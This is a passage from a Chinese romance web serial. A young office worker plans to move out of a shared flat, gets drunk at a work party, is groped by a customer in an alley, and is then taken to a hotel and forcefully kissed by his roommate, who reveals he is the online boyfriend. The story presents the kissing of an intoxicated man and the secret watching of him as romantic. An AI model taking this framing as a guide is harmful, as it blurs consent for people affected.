半梦半醒间,耳边传来了熟悉的低沉的嗓声,不同于随便声音里那种有点诡异的温柔,更多的却是阴沉和不满,似乎在渴求什么,却始终得不到握不住。 “……” 宋晓西第二天上午就去看了房子,等司谨开完早会出来就收到了几十条照片和视频,去茶水间点开看完,将其中的两间转发给了二姐。 宋晓西:【那边的房子没有图片上好,感觉下水道会反味,不过其他的还行,回头我再问问价格能不能少】 司谨吐出口气,一时间又忧愁起来。 下了班急匆匆赶回家,抵达楼下时正好有人拿着一沓纸出来,司谨让开路,视线无意间扫过他手上纸张上的内容,捕捉到某个关键词,忽然怔了怔。 “你好。” 他突兀开口,那人顿住脚步,狐疑地看了他一眼:“有事吗?” 司谨对上他的目光有些紧张,连忙问:“您这边是有房子出租吗?在这个小区里?” 男人连忙拿起手上的纸,递给他一张。 “对,是我们小区的,还缺一个合租的。”他说完看了司谨一眼,“不过里面住着两个都是女孩,男的就算了。” 司谨忙道:“不是我住,是给我姐姐找的,她过段时间会来海城。” 男人这才露出笑容:“可以啊,房子就在12号楼,你要现在去看看吗?还是我给你发照片。” 司谨抿抿嘴唇,又觉得自己唐突了,小声问:“我可以先问一下价格吗?因为她刚到这边实习工资不是很高,所以……” “行啊。”男人直接掏出手机,点开相册开始划拉照片。 “我们那边是三室的,两个次卧已经被人给住了,两个女孩都有稳定工作作息挺正常的,人也好相处,现在就只剩下一个主卧,里头有卫生间,你看图片……因为这房子都住很久了,所以价格也没其他地方那么高。” 他说了一大通,最后报了个还算合适的价格,比司谨现在住的要便宜很多。 司谨有点被吓到,怀疑地看了他一眼:“真的吗?可是我在平台上看,差不多是你这个价格的两倍了。” 男人啧一声:“人家那都是要收中介费的,而且都是刚装修好的精装房,我这个是简装,而且都出租这么久了,里头的东西都有损坏,肯定便宜,不过有一点,如果签合同的话必须一年起租,不能提前退的,我这边要稳定长租,你要是想去的话我现在正好带你去看看,正好我昨晚和租客说了今天下午去看一趟房。” 他说话有条理丝毫不心慌,司谨犹豫两秒就答应了,跟着他一起去了12栋。 男人性格热情,领着他往前走,一个劲客套:“您贵姓啊。” “免贵姓司。”司谨又问他,“您呢。” “我叫范思袁。”男人冲着他一指,“就是那栋楼,楼层也挺高的,从这远远看过去还能望见一点江景呢。” 司谨点点头,跟着他一起进了电梯,想起刚才在九栋遇见他,便问:“您在九栋也有房子吗?” “这到没有,我是自己住在九栋。”范思袁冲他笑笑,“你也住九栋?” “嗯,22层。”司谨实诚回答。 “这么巧,我住23层,2302。” “啊?” 司谨住在2202,想到这人就住在自己楼上,顿时觉得更加可靠了。 出了电梯,范思袁从进门便开始介绍。 “你别看这房子装修简单,但是里面的东西基本上都是有用的,我是个极简主义者,所以不喜欢装那些花里胡哨的,但大多数租客对屋子里的家具也有很高要求,所以我这里出太高的价格还真没人要,你看我说要来,都会让她们提前把房间门锁好,我肯定是不会进去的,但免不了有来看房的客人乱碰。” 范思袁给他递了两鞋套,自己利索换好往里头走,看见每一样家具都得认真介绍,回忆当初买下时的心理路程。 司谨听得一愣一愣,好半天才大着胆子问:“我可以看一下主卧吗?” “行啊,就在最里面。”范思袁示意他跟上。 “主卧也是请人打扫过的,洗手间干湿分离,房间里位置也大,如果需要桌子的话我可以从我那搬一张过来,落地窗也大,晚上可以看看夜景,生活多惬意。” 司谨转了一圈,觉得这个地方真的没得说。 “我可以拍照吗?” “请便,把我拍进去也是可以的。”范思袁开玩笑似的冲着他比了个耶的手势。 司谨有点想笑,但还是没有将他捕捉进镜头里,将房间和洗手间都拍了照,出去的时候又看了看客厅阳台和厨房,逐一拍照后发给了宋晓西和二姐。 “麻烦您了,我回去和我姐姐商量一下可以吗?先留一个您的联系方式。” 范思袁笑着点头,一边出门一边给他扫码,路上还一个劲说自己的房子有多抢手。 “星云城里哪有比我更便宜的,过几天也好几个人约我看房呢,你这边可得抓点紧。” “好的。”司谨看完以后也没觉得他的房子有他最初说的那样差,这个价格租也是占了大便宜。 范思袁盯着他看了一会儿,似乎是看出了他的顾虑。 “我和你说,千万别为了那几百块差价选更差的房子,在大城市工作本身就很累了,每天一下班往破出租房里一躺,感觉人生都无望了,反而是这种略微小贵位置又不错的,能给生活带来幸福感。” 司谨抿抿嘴唇:“您说的有道理。” “是吧。”范思袁一拍手,“我看你们估计未来也是准备在海城拼搏的,好的住所也能增加工作的动力嘛。” 他一句接着一句,司谨根本没办法反驳,跟他聊着又回到了九栋,抵达22层后他先出去,同范思袁道别以后回到家里,心情还有复杂。 其实范思袁说的也没错,二姐本来就是孤注一掷来到海城打拼,或许……住在星云城才是最好的选择。 可是那几百块钱对于二姐来说,恐怕也不会是小数目。 换完鞋朝着房间走去,进门时却忽然想到了哪不对。 范思袁刚才撞见他的时候不是正要出门去贴租房告示吗?怎么看完房子又回家去了? 真奇怪。 二姐最近不忙,很快看见消息,就给他打了电话。 “后面发的房子怪好的,很贵吧。” 司谨和她说了实话:“要贵几百块钱,但是房子挺好的,就是合租有两个室友,不过主卧自带洗手间,平时也不用挤着。” “几百块也不是小钱。”司淑美当初出去打工时也是吃过苦的,这会儿叹口气说,“那个单间虽然破了点,但是价格蛮实惠的,位置也近。” 司谨就知道她会这么说,想了想还是试探去说服她:“但是那边的卫生不太好,乱糟糟的,我觉得这边更好,到时候我给姐贴钱。” 司淑美一听他的话就笑了:“你当我是司鹏啊,我要去肯定自己花钱住,哪里要你就接济我,你的钱又不是天上掉的。” 她都这么说了,司谨一时间也不知道要怎么说服她。 “好了。”司淑美晓得他在想什么,“你姐姐又不是不能吃苦,等以后我工作稳定了就换一个好点的房子,现在刚开始没有定数,我也害怕啊。” 司谨还想要说什么,司淑美那边却响起来说话的声音。 “好了,我要出去一趟,等到晚点我再跟你说。” 等到电话挂断了,司谨看着手机,心情又蔫了下来。 另一边,宋晓西帮他询问房东预留,让他不用那么着急,知道他担心回头被房东扣押金,便给他写了一串询问的话术,叫他直接转发给房东。 “这么说行吗?” 电话对面传来宋晓西的声音:“你发过去就好,这种事情都是越早说越好,多少房东都借着没有提前讲这项扣押金的,希望你房东是个好人吧。” 他那边背景吵闹,是酒吧已经开始练习调试热场了。 “好。”司谨将他发来的话转发给了房东。 消息发出去的那一秒,心情就猛地提起,总是忍不住去刷新消息。 宋晓西了解他,猜到他这会儿是个什么状态,说:“不要急啦,说不定这会儿在忙,一般情况也不会说什么的,要是不答应也没关系,咱们不是还有后招吗?别焦虑啊。” 他知道司谨做什么事情都容易紧张,加上有些讨好型人格,所以总是克制不住去幻想别人对自己的印象会不会变差。 “好,我知道了。”司谨正要松口气,手机却响起了叮咚声。 星云城房东:【住的好好的怎么要退租呢?是哪里不好吗】 从司谨最开始加上房东时,对方说话就是简洁有礼貌的,他还以为消息发过去以后对面会不高兴。 “他问我为什么要退租。” 宋晓西戴着耳机听见他的声音,说:“你就说工作变动,通常应该是不会细问的。” 司谨将他的话照抄上去。 【现在工作地点很远吗?准备搬到哪里去呢?】 “怎么问这么多。”宋晓西啧一声,“这人有点难缠啊,那你直接说租金太贵了,准备去找个便宜的。” 司谨点头说好,结果消息发出去以后,对面几乎是秒回。 “他说什么了?”宋晓西半天没听见他这边的动静,下意识问了句。 司谨怔住,好半天才回答他:“房东说……可以给我减租金。” “啊?” 宋晓西这下也愣住了,简直不敢相信:“真的假的?他该不会是在说反话吧。” 司谨看着对面发来的消息,一时间也拿不准对面的心思了。 “不会吧?” 宋晓西也没见过这种“好心肠”的房东,立马让他将聊天记录发过去。 等看完消息,他语气中满是震惊:“我怎么感觉他真是这个意思?但你现在租的价格不是已经很低了吗?他居然还愿意少。” 司谨抓着手机,满脸都是无措:“那我现在怎么办?” “要不……你问问他可以少多少?”宋晓西轻咳一声,“要是差的不多,我感觉你还不如住在这呢,你楼上那个房东说的有道理,生活质量也是很重要的。” 更何况是司谨这种心思敏感的人,心情受到外界干扰的因素更大,工作那么辛苦,又没有什么娱乐休息的时间,他有时候真怕司谨会忽然有一天撑不下去。 询问过后,房东给出了一个很实惠的价格,跟范思袁那边的租金差不多。 司谨看完只觉得这件事情怪异极了,为什么正好星云城就多出了出租的屋子,价格还这么便宜,而就连他的房东都会主动说出减租金这种话。 这不符合常理。 时间晚了,宋晓西要工作,只能挂断了和他的通话。 司谨看着手机上房东发来的消息,还是觉得很不真实,跟在做梦一样。 他坐在床上扫了眼干净宽敞的房间,有一瞬间的动摇- 距离约好要见面的时间越来越近,司谨明显感觉到随便的情绪也紧跟着焦虑起来,虽然不是每次通话都会和他说起这件事,可司谨还是能感受到他的紧张。 “月底的温度和天气都合适,但是下月初又要开始下雨。” 听出他语气中的暗示,司谨忍不住提醒他:“说好一个月的。” 月底可还没到约定的时间。 随便一听他这话瞬间又蔫巴了下来,司谨拿他没有办法,只好小声询问他最近到底是怎么了。 可随便却还是那样含糊:“就是最近公司有点事情,心情不好。” “那边的事情还没处理完吗?”司谨不太懂这些,“那你可以和我说说吗?倾诉一下可能会好一点。” 说实话,如果不是因为他信任随便的话,恐怕心底的那个猜想都要压抑不住了,但是他也并不觉得随便和燕绥安真的认识,只是这两人不知道为什么总是显得好像有交集似的。 “没事,你不用担心,老公能养得起你。”随便开了个玩笑。 司谨拿他没办法:“这种时候了你还说这种话。” 随便轻笑一声,又回到了最初的话题:“宝宝,我们可不可以提前见面?我虽然很紧张,但还是很想先见到你,我怕真的这样拖下去,我就不敢再跟你面对面了。” 司谨不太明白,听完他的话以后认真思考了很久,却还是没有办法下定决心。 说起来也很奇怪,明明随便是一个那样优秀的人,可是在面对他的时候却总是显得特别自卑似的,让他感觉到了些许割裂。 “你不要总是这样想。”司谨说,“你知道我那么多的事情,应该对自己要更有信心吧。” 随便在对面沉默了很久,说:“可是宝宝哪里都很好。” “你要是真的想这么快的话……”司谨沉思良久,最后还是咬咬牙做了决定,“那就提前吧,月底什么时候天气好?” 对面忽然间就有了声音,随便着急道:“我现在就去看!” 司谨听见他的动静,有些无奈地笑了。 “二十五号可以吗?天气很好而且也是这两个月温度最高的时候,我晚上到了酒店,第二天和宝宝见面,或者我直接来接宝宝怎么样?” 随便的语速很快,似乎已经开始计划之后见面的事情了。 “好,你安排就行。”司谨没有打算说太多。 他实在是没有心思去策划这些,比起去哪里玩,他更多是紧张与马上就要和随便见面的这件事。 “宝宝是不是周末才有时间?那我规划好这两天好不好?不给宝宝添麻烦。”随便如此体贴地说着,可司谨其实已经猜到了他暗含的意思。 没有过多犹豫,他直接道:“我可以请两天假,你好不容易来一趟海城,我陪你一起玩吧,正好有很多的地方我也没有去过。” “宝宝最好了。” 司谨听着他在那边念叨,紧张焦灼之余也多了几分期待。 随便在对面念叨着安排,键盘敲打声中时不时跟他商量,司谨坐在床上玩手机,有一搭没一搭回应他。 很快手机屏幕亮起,他愣了愣,说:“我这边有个电话进来。” “那我晚点打过来。” 跟他约好了见面时间的随便变得很好说话,司谨说了声好,将电话给挂断了。 看着屏幕上大大的封阿姨备注,他忍不住叹口气。 “喂?封阿姨。” “小谨,这个点在忙吗?”封冉悦的语气柔和。 司谨听不出她找自己又有什么事,他这几天也没和燕绥安撞上,便直接回答:“我准备休息了,您找我有事吗?” “也没什么大事。”封阿姨笑了笑,“就是听说你准备要搬走,是不是真的啊?” 司谨愣住:“我……” 他还未反应过来,便听封冉悦关切道:“是在这住的不开心吗?绥安他平时脾气是有些不好,我回头跟他好好说,阿姨前些时间是往你们那跑太勤了,之前都没注意会打扰到你们,阿姨在这跟你道个歉好不好?你一个人在海城也不容易,这边住的好就不要搬来搬去嘛,阿姨还是很喜欢你的。” 听着手机里封阿姨温柔可亲的声音,司谨却是止不住的感到困惑。 “封阿姨,您怎么知道我打算搬走?” 对面顿了顿,说:“是绥安和我说的,他还怪我之前随便上门,不过阿姨现在也知道这么不合适,下回去海城当面找你道歉,好不好?” 司谨忽然浑身一凉。 他这些天在家都没和燕绥安撞见过,可是……燕绥安怎么知道他准备搬走的? 第32章 搪塞完封阿姨,司谨无措坐在床上,莫名有些慌乱。 没过多久,随便又发来了来电申请,像是一直在计算着他的通话时间。 下意识接通,司谨听着对面说行程安排的话,有点走神:“嗯,都可以。” 随便的声音顿住,似乎是察觉到了他情绪的变化。 “宝宝,怎么了?刚才是谁的电话?” 司谨不知道该不该将这件事情和他说,犹豫片刻还是将心底那点不安压了下去,小声说:“是我室友的妈妈,她听说我可能要搬走,刚才来劝我。” “什么?”随便明显也很惊讶,“这么晚了打扰人。” 没等他将后半句吐槽的话说出口,司谨便打断道:“可是我要搬走的事情,我还没有跟我室友说。” “……” 对面忽然安静了两秒,然后才试探着问:“会不会是房东告诉他的?” 司谨怔一下,才想到这个可能性。 “对哦。” 他差点都要忘记房东和他提降租的事情了。 “房东知道有想搬走的想法,肯定会问问你室友是怎么回事。”随便安慰他,“宝宝别想太多,要是觉得她烦,以后大不了不接她的电话了。” 司谨松了口气,可是心中的忧愁却一丝都没有少。 他总觉得还有哪里不是很对,可一时间也想不明白。 “不能这样,对长辈不礼貌。” 随便轻笑:“宝宝,她都让你不舒服了,拒绝是你的权力,长辈和我们之间终归是有代沟的,但同时他们也会比我们更加宽容,你说对不对?” 如果这会儿讨论的人是司志义,司谨或许不会赞同,可是他想到封阿姨是那样温柔大方,又觉得随便说的有道理。 “可正是因为这样,我才更不好意思拒绝她。”- 和二姐商谈了很久,最终还是让宋晓西先将那边的房子给预定下来了。 趁着周六在一粟上完班的功夫,司谨去那边瞧了一眼,的确从刚进门开始就嗅到了一个不太好闻的淡淡下水道气味,除此之外房子里的东西也很老,虽然算不得差,但和范思袁那边的放在一起立马相形见绌了。 他纠结片刻,又给二姐拨过去电话,想要再说服她。 “我真的都可以。”司淑美正在忙,那边声音很是嘈杂,“倒是你真的不用跟我搬到一起去,你那里不是也很好吗?” 司谨犹豫很久,还是做不下决定。 其实宋晓西也说让他再考虑一下,如果他这边还会找到更好的,宋晓西的同事马上要换房子,也可以让他们租上。 但是……想到这些天封阿姨给自己发来的消息,司谨心中的念头又逐渐坚定了。 他觉得自己真的不是很适合跟燕绥安住在一起。 想着确定了要搬走的事情,他便没有再胡思乱想,之后的几天便默默在房间里面收拾自己的姓李,方便之后可以直接带过去。 和房东的意见也没有达成一致,对面坚持可以给他减少租金,但是他还是没有动摇。 隐约间其实他也有猜到,按照燕绥安的家境根本就不需要租房子,这房东说不定和燕绥安也是关系很好的,难怪他要搬走的事情会第一时间叫燕绥安知道。 只是这些天对面房间里似乎都没有人回来,他没有跟燕绥安说话的机会,可心底其实也并不期盼那样的画面。 海城开春以后温度变幻莫测,早晚温差极大。 办公室的人都有些感冒,司谨戴着口罩也无法避免沾染了些咳嗽,等到差不多好起来,这才发现距离他和随便约好的见面时间已经很近了。 周五下班后拎着楼下打包的炒面回家,正好撞上回家的燕绥安。 他背着个黑色的大包,似乎正从外地出差回来,看见司谨的时候欲言又止,好想有什么话想说。 司谨很久没有见过他,忽然撞上还觉得尴尬。 “你……刚出差回来?” “嗯。”燕绥安皱皱眉头,“回了躺家。” 原来如此。 司谨点点头就回了房间,害怕他会问自己搬走的事情。 只是回到房间关上门以后他才回想起来刚才燕绥安的脸色似乎不太好看,声音听着也有点哑,好像也感冒了。 犹豫片刻,他拿出手机给燕绥安发消息。 【玄关橱柜抽屉里面有感冒药】 燕绥安很快回了他一个ok,并没有多言。 次日抵达一粟兼职,路上司谨一直在和随便通电话。 对面的人情绪显然很亢奋,为即将到来的见面而开心。 “好了,我要去上班了。”司谨还是不太习惯,挂断电话以后摘下耳机,揉了揉发麻的微烫耳廓。 到了餐厅,彭露便冲他挤挤眼。 “怎么了?” “你今晚是不是也来上班啊?”彭露问。 天暖以后晚上客人多了,这几周司谨周末基本上都会多上四个小时。 “嗯,回去也没什么事做。” 司谨刚点了头,彭露一下子就激动起来:“昨天是餐厅两周年,店长说今晚我们一起带薪出去聚餐。” “啊?” “放心,兼职也算在里面!你晚上只用上一个小时就行了,然后跟我们一起出去玩。” 司谨没想到还有这种好事,情不自禁也露出了笑容。 “晚上去吃饭的时候咱们和小李坐一起吧,上次就想请教一下他的酒量了。” “好。”司谨答应了。 其实人多的社交场合会让他感到紧张,但是带薪聚餐还是比辛苦工作更舒服,更何况大家基本上都排好了座位,跟熟悉的人坐在一起会让他觉得放松。 去休息间放自己的背包,他换了衣服出来的时候才想起来问顾延河的皮夹。 “上次给他送餐的时候一起带过去了。”小李说完,笑容又变得暧昧,“你猜怎么着?” 司谨猜到了他要说什么,但还是配合做出好奇的表情。 “顾先生屋子里一个年轻的男人,就披着一件浴袍,那脖子上全是那种痕迹,我的天啊!”小李估计已经跟店里人说了个遍,但再次提起还是止不住感叹,“真没想到,顾先生表面上看着这么正经,结果背地里这么狂野。” 他的用词太夸张,司谨抿着嘴唇有点想笑。 “还好不是你去送,不然你不得看呆。” 彭露路过听见他的动静忍不住插话:“那你是个什么反应?” 小李咳嗽一声挺直了脊背,说:“那我当然是装作什么都没看见了。” “你以为别人看不出你心里的慌乱吗?”彭露翻个白眼,“是谁送餐回来吱哇乱叫了半小时。” 小李不服气:“如果是小司,反应肯定比我夸张多了。” 他也知道司谨是个母单,从来没谈过恋爱,刚来店里的时候有客人想要给他拍照,面对镜头的时候小脸都是红的。 彭露瞥他一眼:“司谨上次就已经撞见过了。” “什么?” 察觉到小李要扑过来八卦,司谨连忙转身去大厅忙了,没让他给捉住。 唇角止不住勾起,他正要去问程姐今天的安排,一绕出前台就差点撞上一道身影。 脚步下意识顿住,来人抬手扶住他的小臂,温润嗓音含着笑:“今天心情这么好?” 司谨怔一下抬起头,看见是顾延河,后背一下僵了,连忙站直。 “顾先生,欢迎光临。” 顾延河松了手,看着那张白净小脸上的笑退去,也没有再问。 “今天自己来吃饭,帮我安排个大厅靠窗的桌。” “好的。”司谨示意他跟上自己,将他引去了窗边还没人预定的位置。 不过多时,司谨帮忙上菜,却见顾延河的目光落在他的身上。 “上周太忙没时间过来,算起来又有半个月没见了。” 司谨不太明白他说这句话的用意,只好笑了笑。 “你们今晚营业时间这么短?”顾延河看见了手机平台上的提示。 司谨点头:“昨天是餐厅两周年,今晚店里的人都要去庆祝,所以会比平时早三个小时关店。” “这样。”顾延河没有多问- 等到下午接近下班,司谨收到了随便说已经落地海城的消息,使得他的心一下子提了起来。 其实约好是下周四见面的,但随便说他来海城还有一些工作要忙,所以会提前几天。 想到自己现在就和随便在一个城市,司谨的心跳不自觉加快,怀着紧张又期待的心情,脑海中止不住开始幻想随便的模样。 其实从前他很少去想,毕竟他那时候也真的没觉得自己会和随便相处多久。 这种亢奋的心情持续到了晚上聚餐,一行人下了班便欢天喜地赶往了店长定好的KTV。 程姐换上了常服,比平时多了几分放松,看着店里几个活宝上蹿下跳,脸上的笑容怎么也止不住,最后也被起哄站起身唱了首经典的粤语老歌。 “看不出来啊,程姐这么会唱!” 彭露平时最喜欢程姐,这会儿夸得停下来,忍不住又转身去推司谨,想要起让他也来一个。 可司谨早在上半场就喝到脸醉红了,听着她的话直摆手,连话都有点说不明白。 “我们小司真的是醉了。”小李没见过司谨这副样子,觉得新鲜。 彭露看见他要拿手机拍照,连忙挡了下镜头:“哎呀你可别,司谨脸皮薄,你要拍了他回头不高兴,我可不帮你说话。” 小李没办法,只得切成自拍,转头找其他人一起合照去了。 换做平时,刘有意瞧见司谨这副模样,肯定要调侃片刻,但这会儿瞥了他一眼,却连凑过来都不敢。 司谨喝多了就有点晕乎,索性起身。 “我去趟洗手间。” “去吧。” 包间里头的洗手间被人给占住了,司谨便去了外面。 洗完手迷迷糊糊掏出口袋里面的手机,就看见了随便一小时前打的电话。 随便:【宝宝还没结束吗?】 司谨怔了怔,下意识戳了一下底下的未接来电,结果直接拨了过去。 等屏幕上出现自己微红的脸颊时,他才发觉这是视频通话。 对面也愣了一下,才意识到什么:“喝醉了?” “有一点。”司谨声音含糊,意识却算不得清醒,“他们都说程姐要辞职了,我有点舍不得。” 当初就是程姐将他招进来的,他对这个雷厉风行的姐姐很有好感,总觉得在她的手下工作是一件很安心的事情。 随便顿了顿,似乎是不太喜欢从他口中听见提别人。 “我去接宝宝好不好?” 屏幕上的人拧了拧眉头,面上闪过了很明显的难为情。 “不要吧。” 虽然他潜意识里早就知道要和随便见面,可现在想到,却还是觉得太紧张了。 “可是宝宝喝醉了,怎么回家呢?”随便的语气变得很温柔,沉沉的,“我来接宝宝回家好不好?或者送宝宝去酒店休息,反正喝醉了,记不清我,就不会不好意思。” 司谨抿住嘴唇纠结了好久,最后觉得他说得好像有道理。 “那我去哪里等你呢?” 听出他这就是答应了,随便忙道:“我十分钟左右到,宝宝先去包间里休息一会儿,算着时间差不多就到楼下来,我会给宝宝打电话。” “好。”司谨点了头。 挂断了电话,他乖乖回到了包间,这次坐在边缘,时不时就看一眼手机,也不知道过去了多久差点走神,回过劲下意识就站了起来。 “怎么了?”边上的程姐面露惊讶。 “我朋友来接我,我要先走了。”司谨红着脸,将自己的外套拿起来。 “好,路上小心,记得报平安啊。”程姐有些担忧地看着他,“我送你下楼吧。” 司谨穿上外套摇头:“不用,他已经到楼下了。” 其实他也不知道,但是他觉得自己在这里坐了这么久,应该早就过去十分钟了。 他这会儿除了脸和脖子有点红,其他倒是表现很正常,神智很清醒的样子,程姐便也放下心来。 “好,有事随时打电话。” “嗯。” 司谨冲几人点点头,等到出了门才长长舒出一口气,觉得放松了不少。 只是顺着走廊到了电梯,他看见两侧的电梯都停在一层不动,心里逐渐着急起来。 要是随便在楼下等太久不耐烦了怎么办? 犹豫片刻,他索性走了楼梯,只是里面的光线有些昏暗,他一进去感受到丝丝凉意,就觉得害怕起来。 混沌的大脑运转缓慢,他还在想要不要回去,身后就隐约传来了脚步声。 微怔一下,司谨下意识加快脚步往下走,借着消防通道微弱的灯光看清楚了楼层,抵达一层的时候随手推开一扇门,面前却是一条空荡的小巷。 这是哪里? 他还没来得及反应,身后的声音逐渐靠近,他就加快脚步跑了出去。 砰的一声,门在身后重重关上,下一秒又被推开了。 后巷漆黑一片,地上是脏污的水迹,成排的空调外机在头顶嗡嗡作响,他往前走着,身后却忽然有人喊他。 “司谨。” 脚步顿住,司谨恍惚回头,看见立在后面的路灯给男人勾勒出一道高大的轮廓。 “随——” 他下意识张嘴,可在看清楚那人的脸以后又怔住了。 顾延河。 男人皱着眉,似乎不理解他为什么忽然跑这么快:“喝醉了?” 今天喝的酒后劲都很大,司谨脑袋发晕,但还执着地睁大眼睛看着他:“你是随便吗?” 和他想的样子完全不一样。 可是他和随便约好了,那现在来找他的人,就只有随便了。 “什么东西?”顾延河不大高兴,看着他醉醺醺抬起头的样子,到嘴边的话却又被咽了回去。 本能意识到面前的人有些危险,可司谨还是想要问个清楚,对于他来说,只要是随便,就是可信的。 “你……” 他还想说什么,顾延河却忽然俯身过来,一把将他揽进了自己怀里。 “跟我走吗?” 司谨面露茫然,没有太理解他的意思:“什么?” 顾延河的手指捏住他的下巴,感受了一下细腻滑嫩的皮肤,意味深长笑了笑:“小司,你也没有我想象那样单纯吧,那天在门口,你不是什么都听见了吗?” 他忽然提起司谨去送餐的那天,让司谨又是一愣。 “所以,你不是。” 他虽然没有太听懂,可是恍惚间却明白了什么,伸出手开始推距顾延河。 “我要走了。” 随便可能还在等他。 顾延河不是没见过这种欲拒还迎的招数,习惯性抚住他的后腰,手掌就从外套下摆摸了进去。 “听话点,我不喜欢在外面。” 司谨的侧腰最是敏感,被他一揉身体就软了下去,推距的手还落在他身前,细细的抗拒声溢出:“走开。” 他醉得厉害,可脑子虽然不清醒,却也知道面前的人不是他想要的那一个。 他挣扎的厉害,虽然身体发软,但折腾起来力气也不小,让顾延河有些不耐烦起来。 “差不多就行了,你——” 话音还未落,面前忽然便出现了一道身影。 凌厉的拳风猛地朝他面门而来,顾延河下意识松了怀里的人,脚步有些踉跄。 燕绥安将人接进怀里,看着那张染着醉红的发热脸蛋,想起刚才看见的一幕,心情变得很糟糕。 “你是谁?”顾延河不悦蹙眉,看着面前的年轻男人将头上的鸭舌帽扣在司谨头上,这才忽然察觉到那张脸有几分眼熟。 燕绥安冷冷瞥他一眼,视线落在他垂在身侧的手上,眸中闪过冷厉和阴沉。 见他转身要走,顾延河颇为不满:“你跟他什么关系?” “管好你自己。”燕绥安强行压下心中的暴虐,转身离开。 顾延河正欲追上,可脚步刚一动,脑海中便闪过在先前在京市参加的宴会画面,燕氏集团次子成人宴,那时远远瞧见更为年轻的面孔,便同刚才那人重合上了。 他不禁啧一声,心道倒霉。 弄成这样,还真有点不好收场了- 走到巷口,燕绥安还是忍不住将人抱进怀里,看着司谨抬手想要把扣紧的鸭舌帽往上拨,只得冷声道:“安分点。” 怀里的人身躯忽然僵硬了,慢慢把手放回去,有点无措似的靠在他怀里。 将人放上车,燕绥安正想关门,可等看着那人还低着脑袋,任由帽檐遮挡住自己大半张脸的乖巧模样,还是回去帮他把帽子摘下来。 蓬松柔软的发丝被整理好,司谨总算大着胆子抬起眼来看他。 察觉到他的目光,燕绥安脸上表情没有变化,可那股紧张却迫使他不得不挺直脊背,握住座椅靠背的手也收紧了。 时间一分一秒过去,司谨却还是那样呆呆地看着他,眼神没有半点变化。 “你……”燕绥安忍不住开口。 下一秒,司谨就闭了闭眼,嘴角撇了下去。 “我的头好晕。”他声音软糯可怜,还下意识抬手摸了摸脑袋。 燕绥安愣怔,继而有些无奈地笑了。 “送你去休息,下次别喝那么多。” 他上车朝着酒店开去,身边的人始终安安静静的,只是每过了一会儿就会朝着他看过来。 “好看吗?”燕绥安抓着方向盘,知道司谨已经醉了,便也没有表现出不安。 “跟我想的不一样。”司谨小声说,“好像见过。” 燕绥安轻笑一声,难得不知道该说什么。 等到了早早定好的酒店,下车时司谨已经有些走不动了,他只得将人抱在怀里。 安静的电梯里夹杂着他剧烈过速的心跳,他能够听出听见怀中人的呼吸声,有些重,带着很淡的酒气。 垂下眼眸,红润的嘴唇染着水光,白皙的脸颊也泛着嫣红,像一只漂亮带着香气的桃子。 走进了房间,燕绥安松了手去插房卡,手腕却被搭住。 “怎么了?”他一开口,才发现自己的嗓音全然哑了。 “你是随便吗?”司谨好像后知后觉才想起来要问这个问题,语气有一点小心,期盼又紧张。 燕绥安喉结微滚,答应他:“我是。” 下一瞬,怀里的人放松了力气,主动朝着他靠过来,两条手臂搭住他的脖颈,滚烫的脸颊贴在了他的肩膀上。 这副毫无保留的信任和依赖让燕绥安后背麻了一片,他再也忍不住,将房卡丢在一边,手掌准确无误扣住了司谨柔软的后颈,吻住了那张柔软的唇瓣。 他的力道太凶,惹得司谨止不住发出细碎呻吟。 滚烫的脸颊被大手捧着,身体被放上玄关的矮柜,他整个身体被挤在墙上,后背是冰冷的墙面,面前的身体却又如火般炙热。 这样激烈的冰火两重天,使得司谨本就眩晕的大脑变得更加虚幻起来。 啃食轻吮,力气大到像是要将他给吃了。 滴的一声,房卡落入卡槽,屋内的光刚刚亮起,又被拍暗了。 屋子里太热,燕绥安将他厚重的外套剥了,将人放在床上,借着床头微弱的氛围灯,在重新看清楚那张让他魂牵梦萦的面容后又抑制不住俯身将人扣在了床上深吻。 司谨始终很乖,微微睁大着眼睛,好像是想看清楚他的脸,可盯着没多久又会因为头晕而难受闭上眼睛。 浑身热得难受,可燕绥安知道自己不能再做更多事情。 将他卷上去的毛衣下摆整理好,又抱着怀里的人亲了又亲,他心中的激动和甜蜜充斥满了整个胸膛,可很快又陷入了不安中。 他不知道等司谨醒来以后,还会不会像现在一样粘他。 是会惊讶高兴,还是排斥讨厌他? 简单给人擦洗了脸蛋和手脚,燕绥安掀开被子上床,司谨乖顺躺在他的怀里,长睫毛阖着。 “困。” “睡吧,我在这。” 燕绥安将那具微热的身体抱在怀里,下巴抵住他的发顶,听着那呼吸声逐渐变得平缓,手臂逐渐收紧,严丝合缝,仿佛这样就能让天亮来得慢一些。 第33章 酒店窗帘遮光性很好,细碎的光亮从缝隙中窜出,正好洒在司谨的下颚。 醒来时首先感知到的微烫温度让他怔了怔,恍惚睁开了双眼,正想动一动,却感觉自己正被人紧紧抱着。 脑子嗡的一声炸开响雷,睡意瞬间一扫而光,司谨僵着身体回头,映入眼帘的便是一张熟悉的英俊面容。 燕绥安睡得很熟,呼出的气都是滚烫的,即便是在他的动作下也没有任何要醒来的迹象。 作业的朦胧记忆逐渐浮现出碎片,司谨手脚冰冷下来,几乎觉得自己是在做梦。 燕绥安是随便? 他脑子一片混乱,不知道该用什么心情来面对这戏剧化的一幕。 他不敢吵醒燕绥安,生怕事情会发展到自己无法想象的程度,小心翼翼将对方的手从腰上挪开,起身时太阳穴还传来宿醉的尖锐疼痛,可他却丝毫不敢懈怠,穿上毛衣和外套,悄无声息离开了房间。 回去的路上,眼眶被清早的寒风刮到发疼,酸胀难忍。 他想要回家,可是他知道等燕绥安醒来以后肯定也会回星云城,不住慌乱起来。 上了公交,他点开手机,发现昨晚程姐打来了电话,接通了半分钟。 那时他正意识模糊,很显然是燕绥安帮他接的。 他吸吸鼻子,将外套的拉链扯到最上面,拨打了宋晓西的电话。 这个点宋晓西刚下班不久,应该正准备休息,所以很快就接了。 “早上好啊宝贝。”宋晓西知道他通常不这么早联系自己,意识到什么,“是有什么事吗?” 司谨努力让自己的声音显得正常:“晓西,我想今天把东西搬过去,你上次推荐给我的搬家师傅联系方式可不可以给我一下?” “这么快就搬?不是说要再考虑吗?” “不用了,我早点过去吧。”司谨有点勉强地笑了一下,“刚才把请的两天假挪到今天了。” “好吧,我现在发给你,不过人家应该没有这么早上班,你要是不急的话等下午呗,我去帮你收拾东西。”宋晓西打了个哈欠,“我睡三个小时就行,中午过来行吗?” 司谨闷声答应:“不用这么早,我的东西收拾差不多了,等我和师傅约好时间,你有时间的话来那边找我吧。” 他知道租的新房子那里距离宋晓西很近。 “行,我会尽量早点到。”宋晓西说着正要挂断,又想到什么,“对了宝贝,你跟那个人聊得怎么样啊?” 